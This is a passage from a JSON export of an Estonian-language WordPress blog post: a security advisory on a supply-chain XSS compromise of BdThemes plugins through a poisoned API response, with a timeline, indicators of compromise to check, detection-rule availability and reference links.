puhastus, kuid <code>id<\/code>-atribuut j\u00e4i paotamata.<\/li>\n\n\n<li><strong>23. juuni 2026:<\/strong> m\u00fcrgitatud API kampaania \u201eSummer Sale\u201d teate <code>start_date<\/code>; see on varaseim v\u00f5imalik kuup\u00e4ev, mil XSS v\u00f5is aktiivne olla.<\/li>\n\n\n<li><strong>6. august 2026 kell 22.40 UTC:<\/strong> m\u00fcrgitatud <code>api-data-records<\/code>-i viimane muutmisaeg.<\/li>\n\n\n<li><strong>7. august 2026 kell 09.11 UTC:<\/strong> m\u00fcrgitatud <code>api-data-all-records<\/code>-i viimane muutmisaeg.<\/li>\n\n\n<li><strong>7. august 2026:<\/strong> r\u00fcnnakust teatati ja seda n\u00e4hti aktiivselt kasutuses; pluginad suleti WordPressi kataloogis \u00fclevaatuseks.<\/li>\n\n\n<li><strong>7. august 2026 kell 16.56 UTC:<\/strong> uurijad kogusid r\u00fcnde artefaktid.<\/li>\n\n\n<li><strong>8. august 2026:<\/strong> m\u00f5lemad API endpointid tagastasid taas puhta JSON-i.<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Mida n\u00fc\u00fcd teha<\/h2>\n\n\n\n<p>Kui kasutad loetletud BdThemesi pluginaid, auditeeri viivitamata k\u00f5ik WordPressi kasutajad, sealhulgas <code>bd_<\/code>-algusega kontod ja kahtlaste WordPressi domeenidega e-posti aadressid. Vaata \u00fcle tavaliste pluginate ning eriti <code>mu-plugins<\/code>-i kataloog, otsi nimetatud faile ja r\u00e4si ning kontrolli suvandeid <code>fz_emer_login_tokens<\/code> ja <code>fz_emer_done_v1<\/code>.<\/p>\n\n\n\n<p>See r\u00fcnne n\u00e4itab, et usaldatud kaugandmestik v\u00f5ib olla sama kriitiline r\u00fcndepind kui plugina l\u00e4htekood. Kuna XSS k\u00e4ivitub autentitud administraatori brauseris, v\u00f5ib tagaj\u00e4rg olla t\u00e4ielik saidi \u00fclev\u00f5tmine: v\u00f5ltsadminid, webshellid ja p\u00fcsivad tagauksed.<\/p>\n\n\n\n<div class=\"wp-block-group callout callout-warning is-style-warning is-layout-flow wp-block-group-is-layout-flow\" style=\"border-width:1px;border-radius:8px;padding-top:1rem;padding-right:1.5rem;padding-bottom:1rem;padding-left:1.5rem\">\n\n<h4 class=\"wp-block-heading callout-title\">Tuvastusreeglite saadavus<\/h4>\n\n\n<p>Turvasignatuurid ja WAF-reeglid selle tarneahela r\u00fcnde tuvastamiseks j\u00f5udsid Wordfence Premiumi, Care&#8217;i, Response&#8217;i ja tasulise Wordfence CLI kasutajateni 7. augustil 2026. Wordfence&#8217;i ja Wordfence CLI tasuta kasutajad saavad need tavap\u00e4rase 30-p\u00e4evase viitega.<\/p>\n\n<\/div>\n\n\n<div class=\"references-section\">\n                <h2>Viited \/ Allikad<\/h2>\n                <ul class=\"references-list\"><li><a href=\"https:\/\/www.wordfence.com\/blog\/2026\/08\/psa-supply-chain-compromise-in-bdthemes-ecosystem-via-poisoned-api-response\/\" target=\"_blank\" rel=\"noopener noreferrer\">PSA: Supply Chain Compromise in BdThemes Ecosystem via Poisoned API Response<\/a><\/li><li><a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/id\/7bf1d6f9-afe2-41c2-968b-20dbc474cd73\" target=\"_blank\" rel=\"noopener noreferrer\">Biggopti Library (Various Versions) &#8211; Cross-Site Scripting via display_id from Sigmative API<\/a><\/li><li><a href=\"https:\/\/www.wordfence.com\/blog\/2026\/07\/wordfence-prism-detected-backdoored-wordpress-plugin-within-two-hours-of-it-being-introduced\/\" target=\"_blank\" rel=\"noopener noreferrer\">Wordfence Prism Detected Backdoored WordPress Plugin Within Two Hours of It Being Introduced<\/a><\/li><li><a href=\"https:\/\/optinmonster.com\/security-incident-tampered-script-served-via-optinmonster-and-trustpulse\/#what-to-check-and-do\" target=\"_blank\" rel=\"noopener noreferrer\">Security Incident: Tampered Script Served via OptinMonster and TrustPulse<\/a><\/li><\/ul>\n            <\/div>","protected":false},"excerpt":{"rendered":"<p>BdThemesi pluginatesse ei pidanud keegi pahatahtlikku uuendust suruma. R\u00fcndaja m\u00fcrgitas haldusb\u00e4nneri API-vastuse ning sai iga administraatori brauseris luua v\u00f5ltskonto, paigaldada webshelli ja peita oma j\u00e4ljed.<\/p>\n","protected":false},"author":48,"featured_media":249,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[50],"tags":[11,133,10,9,124],"class_list":["post-250","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-turvalisus","tag-pluginad","tag-tarneahela-runne","tag-turvalisus","tag-wordpress","tag-xss"],"_links":{"self":[{"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/posts\/250","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/users\/48"}],"replies":[{"embeddable":true,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/comments?post=250"}],"version-history":[{"count":0,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/posts\/250\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/media\/249"}],"wp:attachment":[{"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/media?parent=250"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/categories?post=250"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helloblog.io\/et\/wp-json\/wp\/v2\/tags?post=250"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}